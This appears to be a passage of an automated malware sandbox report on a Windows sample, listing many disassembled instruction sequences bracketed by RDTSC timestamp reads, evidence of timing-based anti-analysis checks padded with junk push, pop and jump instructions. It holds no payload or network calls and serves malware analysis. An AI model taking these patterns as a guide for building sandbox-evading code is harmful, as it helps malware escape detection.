Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5524E0 second address: 552503 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A13h 0x00000007 jmp 00007F8B146C0A0Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552503 second address: 552524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jne 00007F8B151F0E38h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F8B151F0E36h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E39 second address: 551E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8B146C0A06h 0x0000000a popad 0x0000000b jmp 00007F8B146C0A0Fh 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E58 second address: 551E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007F8B151F0E42h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E67 second address: 551E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5567E6 second address: 556800 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E46h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556800 second address: 55681A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8B146C0A10h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55681A second address: 55681E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55681E second address: 556824 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556824 second address: 55682A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55682A second address: 55682E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55682E second address: 556832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556832 second address: 556851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B146C0A10h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jp 00007F8B146C0A06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556851 second address: 556864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8B151F0E36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556864 second address: 556871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F8B146C0A06h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556871 second address: 556880 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnp 00007F8B151F0E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555B25 second address: 555B2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555B2B second address: 555B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8B151F0E43h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F8B151F0E43h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jmp 00007F8B151F0E44h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555B72 second address: 555B79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555CD3 second address: 555CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555E69 second address: 555E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560E1 second address: 5560E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55639D second address: 5563A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8B146C0A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5563A7 second address: 5563EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F8B151F0E49h 0x0000000f jmp 00007F8B151F0E47h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5563EA second address: 5563F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C79D second address: 55C7A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C7A1 second address: 55C7AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnp 00007F8B146C0A06h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C7AF second address: 55C7B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C7B5 second address: 55C7D4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8B146C0A06h 0x00000008 ja 00007F8B146C0A06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 jnl 00007F8B146C0A06h 0x00000017 pop edi 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C7D4 second address: 55C7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C7DA second address: 55C7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8B146C0A06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502F3F second address: 502F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5669E5 second address: 5669EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56585F second address: 565879 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E3Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F8B151F0E3Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565E21 second address: 565E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 je 00007F8B146C0A13h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F8B146C0A0Bh 0x00000016 jp 00007F8B146C0A0Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5663CC second address: 5663D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5663D2 second address: 5663D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5663D8 second address: 5663DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AC79 second address: 56AC97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8B146C0A14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569D9C second address: 569DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569DA0 second address: 569DAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A0Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569DAF second address: 569DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A0A2 second address: 56A0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jo 00007F8B146C0A06h 0x0000000c jmp 00007F8B146C0A10h 0x00000011 jg 00007F8B146C0A06h 0x00000017 jmp 00007F8B146C0A19h 0x0000001c popad 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 jmp 00007F8B146C0A18h 0x00000025 pop eax 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A0FD second address: 56A105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A105 second address: 56A10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A3D6 second address: 56A3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A3DC second address: 56A3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A7DA second address: 56A7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A7DE second address: 56A7F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A16h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A7F8 second address: 56A802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A802 second address: 56A806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A806 second address: 56A80A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A80A second address: 56A81B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jo 00007F8B146C0A06h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A81B second address: 56A82F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8B151F0E3Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jl 00007F8B151F0E42h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F86D second address: 56F890 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8B146C0A0Dh 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007F8B146C0A06h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F890 second address: 56F89A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F89A second address: 56F8A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F8A0 second address: 56F8C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F8B151F0E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8B151F0E47h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5776AB second address: 5776AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5776AF second address: 5776F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8B151F0E44h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnp 00007F8B151F0E36h 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007F8B151F0E49h 0x00000019 jnp 00007F8B151F0E36h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5776F6 second address: 577722 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8B146C0A06h 0x00000008 jmp 00007F8B146C0A0Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F8B146C0A0Ch 0x0000001c jnp 00007F8B146C0A06h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57788C second address: 577898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F8B151F0E36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577898 second address: 57789E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57789E second address: 5778AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F8B151F0E36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577B61 second address: 577B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8B146C0A06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577B6C second address: 577B76 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8B151F0E3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577B76 second address: 577B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jnc 00007F8B146C0A06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577E4E second address: 577E5E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8B151F0E42h 0x00000008 jns 00007F8B151F0E36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577E5E second address: 577E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5782AE second address: 5782C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E45h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5783F6 second address: 5783FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5783FA second address: 578400 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578400 second address: 57841E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B146C0A17h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578C67 second address: 578C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABAB5 second address: 4ABADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F8B146C0A06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABADB second address: 4ABADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABADF second address: 4ABB09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A0Fh 0x00000007 je 00007F8B146C0A06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8B146C0A0Dh 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABB09 second address: 4ABB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABB0D second address: 4ABB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABB1B second address: 4ABB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EF06 second address: 57EF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F8B146C0A11h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EF1E second address: 57EF25 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590B0F second address: 590B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590B15 second address: 590B19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590B19 second address: 590B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F8B146C0A11h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590B37 second address: 590B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590B3D second address: 590B4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5904EC second address: 5904F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59066D second address: 590671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592884 second address: 592889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5929D6 second address: 5929DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5929DA second address: 5929F0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8B151F0E36h 0x00000008 jne 00007F8B151F0E36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 599102 second address: 59910D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F8B146C0A06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B91E second address: 59B922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B922 second address: 59B92C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8B146C0A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B92C second address: 59B932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B932 second address: 59B936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B936 second address: 59B93A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B93A second address: 59B955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B146C0A12h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC622 second address: 5AC63E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8B151F0E41h 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
